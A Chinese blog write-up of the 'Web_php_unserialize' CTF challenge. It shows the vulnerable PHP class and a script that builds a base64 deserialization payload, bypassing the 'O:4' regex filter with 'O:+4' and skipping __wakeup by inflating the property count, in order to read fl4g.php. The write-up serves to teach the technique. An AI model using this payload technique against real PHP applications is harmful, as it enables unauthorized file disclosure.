WEB:Web_php_unserialize

背景知识

反序列化函数及绕过

正则表达式及绕过

题目

源码解析(参考链接在最后)

复制代码
<?php 
class Demo {           //定义一个类
    private $file = 'index.php';			//变量属性
    public function __construct($file) {      //类方法
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 		//wakeup函数 返回index.php所以必须绕过次函数
            //the secret is in the fl4g.php     //flag所在文件
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {        		 //判断是否传入参数
    $var = base64_decode($_GET['var']);  	//对传入参数进行base64加密
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则检查
        die('stop hacking!'); 
    } else {
        @unserialize($var);      //进行反序列化
    } 
} else { 
    highlight_file("index.php"); 	//返回想要结果
} 
?>

从上述源码分析可知,需满足三个条件

1.要绕过wake up 函数

__wakeup()

是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查时候存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。

绕过:

__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2 要绕过正则表达式

(preg_match('/[oc]:\d+:/i', $var))

而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 "o:数字" 或者 "c:数字' 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配

绕过

而O:+4没被过滤说明绕过了过滤而且最后的值不变。

3.必须是base64加密

编写php脚本

复制代码
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo ('fl4g.php');					//创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); 		//wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>

运行结果

得到flag

参考链接:
攻防世界-Web_php_unserialize详解_Mr H的博客-CSDN博客

相关推荐
unable code3 小时前
攻防世界-Reverse-insanity
网络安全·ctf·reverse
亚里士多没有德7753 小时前
【CTF-Web环境搭建】kali
网络安全
安全系统学习10 小时前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
2501_9159214313 小时前
iOS IPA 混淆实测分析:从逆向视角验证加固效果与防护流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9159184113 小时前
打造可观测的 iOS CICD 流程:调试、追踪与质量保障全记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9159090617 小时前
调试 WebView 旧资源缓存问题:一次从偶发到复现的实战经历
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9159214319 小时前
请求未达服务端?iOS端HTTPS链路异常的多工具抓包排查记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916007471 天前
iOS 接口频繁请求导致流量激增?抓包分析定位与修复全流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
学习溢出1 天前
【网络安全】持续监控CI/CD:自动发现威胁与IoCs,软件供应链安全
运维·安全·web安全·网络安全·ci/cd
2501_916013741 天前
用Fiddler中文版抓包工具掌控微服务架构中的接口调试:联合Postman与Charles的高效实践
websocket·网络协议·tcp/ip·http·网络安全·https·udp